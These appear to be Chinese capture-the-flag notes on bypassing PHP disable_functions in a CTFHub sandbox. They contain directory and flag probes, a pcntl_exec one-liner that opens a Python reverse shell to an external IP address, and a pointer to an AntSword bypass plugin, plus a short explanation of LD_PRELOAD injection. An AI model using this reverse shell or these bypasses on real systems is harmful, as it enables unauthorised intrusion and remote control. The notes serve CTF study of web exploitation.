<?php print_r(scandir('/'));
<?php var_dump(is_readable('/flag'));
pcntl-exec函数没有被禁用,尝试利用
该函数表示在当前进程空间执行指定程序,当发生错误时返回false,执行成功时没有返回,也就是说执行成功也不会回显,于是使用该函数执行反弹shell,利用python反弹shell可以成功回显
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("47.242.11.183",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
LD_PRELOAD
连上发现一直返回ret=127,用?ant=phpinfo();发现为函数禁用。
先下一个蚁剑插件as_bypass_php_disable_functionsMedicean/as_bypass_php_disable_functions: antsword bypass PHP disable_functionsstart后链接http://challenge-ea86ba5d7d33b0c6.sandbox.ctfhub.com:10800/.antproxy.php,密码还是一样。接着即可操作
ps:#!/路径/到/解释器,eg:
#!/bin/bash
# 表示用 /bin/bash 解释器执行这个脚本
echo "Hello World"
#!/usr/bin/python3
# 表示用 /usr/bin/python3 解释器执行
print("Hello World")
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.